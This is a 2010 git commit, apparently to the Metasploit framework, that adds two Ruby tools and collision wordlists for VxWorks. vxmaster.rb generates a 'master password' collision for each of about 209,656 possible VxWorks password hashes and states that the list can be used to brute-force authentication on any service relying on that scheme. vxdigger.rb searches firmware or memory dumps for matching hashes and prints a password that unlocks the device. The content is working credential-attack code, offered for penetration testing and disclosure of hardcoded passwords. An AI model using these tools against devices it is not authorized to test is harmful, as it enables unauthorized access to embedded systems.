Add the script to generate the VxWorks master password list. Add the script to scan a memory image looking for a known password hash. Add two sorted dictionaries of the first 20k collided values (covers most typeable passwords). One dictionary is a straight wordlist, the other is used by vxdigger.rb. The full master password list can be generated with vxmaster.rb

git-svn-id: file:///home/svn/framework3/trunk@10220 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-09-02 14:55:34 +00:00
parent 9b5d613563
commit a447149907
4 changed files with 20254 additions and 0 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

55
tools/vxdigger.rb Executable file
View File

@ -0,0 +1,55 @@
#!/usr/bin/env ruby
#
# This script scans a memory dump or firmware image for any password hashes that
# happen to match the "master password" list generated by vxmaster. This is a
# simple way to determine whether a device has a hardcoded password.
#
# (C) 2010 Rapid7
#
def usage
$stderr.puts "usage: #{$0} [dump-file] <master password list>"
exit
end
dump = ARGV.shift || usage()
list = ARGV.shift || File.join(File.dirname(__FILE__), "..", "data", "wordlists", "vxworks_collide_20.txt")
$stderr.puts "[*] Loading master password list..."
ohashes = []
hashes = []
File.read(list).split("\n").each do |x|
xid,enc,raw = x.split("|", 3)
xid = xid.to_i
next if raw =~ /invalid/
raw,tmp = raw.split("\x00")
ohashes << [xid, enc, raw]
end
$stderr.puts "[*] Loading memory dump..."
data = File.read(dump)
$stderr.puts "[*] Digging through memory dump..."
hashes = ohashes
tot = hashes.length
cur = 0
hashes.each do |r|
x,k,h = r
cur += 1
pct = cur/tot.to_f
pct = (pct * 100).to_i
$stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})")
$stdout.flush
next if not data.index(k)
$stdout.write("\n")
$stdout.flush
puts "[+]"
puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]"
puts "[+]"
end

199
tools/vxmaster.rb Executable file
View File

@ -0,0 +1,199 @@
#!/usr/bin/env ruby
#
# This script calculates all possible password hashes for the vxworks platform.
# The generated list can be used to bruteforce authentication to any service
# using the vulnerable password hashing mechanism on the backend.
#
# (C) 2010 Rapid7
#
# VxWorks converts the clear-text password into single integer value. This value
# can only be one of about 210,000 possible options. The method below emulates
# what the vxencrypt utility does and was implemented based on publicly indexed
# documentation and source code snippets.
# XXX: Newer VxWorks can use passwords up to 120 characters long, but this is
# not very common in the wild.
def vxworks_sum_from_pass(pass)
if pass.length < 8 or pass.length > 40
raise RuntimeError, "too short or too long"
end
sum = 0
bytes = pass.unpack("C*")
bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }
sum
end
# VxWorks does a final round of "mangling" on the generated additive sum. This
# mangle process does not add any additional security to the hashing mechanism
def vxworks_hash_from_sum(sum)
magic = 31695317
res = ((sum * magic) & 0xffffffff).to_s
res.unpack("C*").map{ |c|
c += 0x21 if c < 0x33
c += 0x2f if c < 0x37
c += 0x42 if c < 0x39
c
}.pack("C*")
end
# This method tries to find an exact match for a given sum. This is inefficient,
# but the master password only needs to be precomputed once.
def vxworks_pass_from_sum_refine(sum, bsum, pass)
0.upto(pass.length-1) do |i|
tpass = pass.dup
while ( tpass[i, 1].unpack("C*")[0] > 0x21 )
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")
bsum = vxworks_sum_from_pass(tpass)
if bsum == sum
return tpass
end
end
end
0.upto(pass.length-1) do |i|
tpass = pass.dup
while ( tpass[i, 1].unpack("C*")[0] < 0x7c )
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")
bsum = vxworks_sum_from_pass(tpass)
if bsum == sum
return tpass
end
end
end
"<failed>"
end
# This method locates a "workalike" password that matches a given
# intermediate additive sum value.
def vxworks_pass_from_sum(sum, lpass=nil)
opass = lpass || "\x20" * 8
pass = opass.dup
fmax = (sum > 10000) ? 0xff : 0x7b
pidx = 0
pcnt = pass[0,1].unpack("C*")[0]
more = false
bsum = vxworks_sum_from_pass(pass)
if bsum > sum
return "<invalid>"
end
while bsum != sum
if bsum > sum
return vxworks_pass_from_sum_refine(sum, bsum, pass)
end
if pcnt > fmax
pidx += 1
if pidx == (pass.length)
pass += " "
end
pcnt = pass[pidx, 1].unpack("C")[0]
end
pass[pidx,1] = [ pcnt ].pack("C")
bsum = vxworks_sum_from_pass(pass)
pcnt += 1
end
pass
end
outputfile = ARGV.shift() || "masterpasswords.txt"
# Create the master password list output file
ofd = File.open(outputfile, "wb")
# Generate a wide range of "seeds" - the goal is to create a
# workalike password with the smallest number of characters,
# but still be printable when possible.
seedsets = []
seeds = []
8.upto(8) do |slen|
0x23.upto(0x7c) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(12) do |slen|
0x23.upto(0x7c) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(16) do |slen|
0x23.upto(0xf0) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(16) do |slen|
0x23.upto(0xff) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(40) do |slen|
0x23.upto(0xff) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
# Calculate passwords and their hashes for all possible outputs
1.upto(209656) do |i|
found = false
seedsets.each do |seeds|
lhash = nil
seeds.reverse.each do |s|
if i > (s[0] + 1000)
lhash = s[1]
break
end
end
hash = vxworks_hash_from_sum(i)
pass = vxworks_pass_from_sum(i, lhash)
puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)
# The first 1187 passwords are not very likely to occur and we skip
# generation. These are "sums" that result in a value lesss than a
# 8 digit password of all spaces.
if i > 1187 and pass =~ /<.*>/
# p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"
next
end
ofd.puts "#{i}|#{hash}|#{pass}\x00"
found = true
break
end
if not found
puts "FAILED TO GENERATE #{i}"
exit(0)
end
end